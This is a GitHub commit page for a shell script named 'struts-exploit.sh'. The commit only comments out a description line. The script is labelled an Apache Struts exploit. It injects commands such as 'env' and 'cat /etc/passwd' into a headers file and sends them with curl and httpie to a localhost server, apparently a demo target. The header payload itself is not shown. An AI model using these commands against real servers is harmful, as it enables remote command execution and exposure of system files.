We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 33f82a2 commit c5a88adCopy full SHA for c5a88ad
exploits/struts-exploit.sh
@@ -1,4 +1,4 @@
1
# Struts exploit using curl and httpie (more colourful HTTP client)
2
-(runs 'env' or 'cat /etc/passwd', can replace env with any other command (note to escape slashes and double quotes)
+# (runs 'env' or 'cat /etc/passwd', can replace env with any other command (note to escape slashes and double quotes)
3
cat struts-exploit-headers.txt| sed "s/COMMAND/env/" | xargs curl -v -X GET http://localhost:8080 -H
4
cat struts-exploit-headers.txt| sed "s/COMMAND/cat \/etc\/passwd/" | xargs http -v http://localhost:8080
0 commit comments